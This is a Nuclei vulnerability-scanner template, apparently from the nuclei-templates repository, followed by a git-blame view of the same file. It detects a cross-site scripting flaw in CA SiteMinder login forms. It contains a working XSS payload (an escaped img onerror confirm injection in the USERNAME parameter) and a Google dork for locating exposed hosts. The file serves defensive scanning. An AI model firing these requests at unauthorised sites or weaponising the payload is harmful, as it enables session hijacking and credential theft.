nuclei-templates/http/vulnerabilities/other/siteminder-dom-xss.yaml

id: siteminder-dom-xss

info:
  name: SiteMinder - DOM Cross-Site Scripting
  author: clarkvoss
  severity: high
  description: SiteMinder contains a cross-site scripting vulnerability in the document object model. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html
    - https://github.com/projectdiscovery/nuclei-templates/issues/2736
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    google-query: inurl:"smpwservices.fcc"
  tags: dom,xss,siteminder

http:
  - method: GET
    path:
      - '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
      - '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '\u003d\u0022confirm(document.domain)\u0022\u003e</B> you cannot access your'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022011f69d57654145d054d51fc4e321f179926027f780602c80727ef46c0888154102202e1753e53b77b3869ea26ece2c77bc1bd8fbf8a951e840556c1cfb315b6d474e:922c64590222798bb761d5b6d8e72950
Update and rename siteminder-dom-based-xss.yaml to siteminder-dom-xss.yaml 2022-07-01 13:29:21 +00:00			`id: siteminder-dom-xss`
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00
			`info:`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`name: SiteMinder - DOM Cross-Site Scripting`
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00			`author: clarkvoss`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`severity: high`
			`description: SiteMinder contains a cross-site scripting vulnerability in the document object model. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.`
			`reference:`
			`- https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html`
			`- https://github.com/projectdiscovery/nuclei-templates/issues/2736`
			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`
			`cvss-score: 7.2`
			`cwe-id: CWE-79`
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00			`metadata:`
			`verified: true`
templateman update 2023-10-14 11:27:55 +00:00			`max-request: 2`
Replace google-dork with google-query in all templates (#5328) * dos2unix to standardize line endings * Replace google-dork with google-query 2022-09-08 22:39:14 +00:00			`google-query: inurl:"smpwservices.fcc"`
Update and rename siteminder-dom-based-xss.yaml to siteminder-dom-xss.yaml 2022-07-01 13:29:21 +00:00			`tags: dom,xss,siteminder`
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00			`- method: GET`
			`path:`
			`- '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'`
			`- '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'`

			`stop-at-first-match: true`
templateman update 2023-10-14 11:27:55 +00:00
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`words:`
Update and rename siteminder-dom-based-xss.yaml to siteminder-dom-xss.yaml 2022-07-01 13:29:21 +00:00			`- '\u003d\u0022confirm(document.domain)\u0022\u003e</B> you cannot access your'`
Create siteminder-dom-based-xss.yaml 2022-07-01 08:40:29 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- 'text/html'`
Update and rename siteminder-dom-based-xss.yaml to siteminder-dom-xss.yaml 2022-07-01 13:29:21 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Thu Oct 19 13:13:50 UTC 2023] :robot: 2023-10-19 13:13:52 +00:00			`# digest: 490a00463044022011f69d57654145d054d51fc4e321f179926027f780602c80727ef46c0888154102202e1753e53b77b3869ea26ece2c77bc1bd8fbf8a951e840556c1cfb315b6d474e:922c64590222798bb761d5b6d8e72950`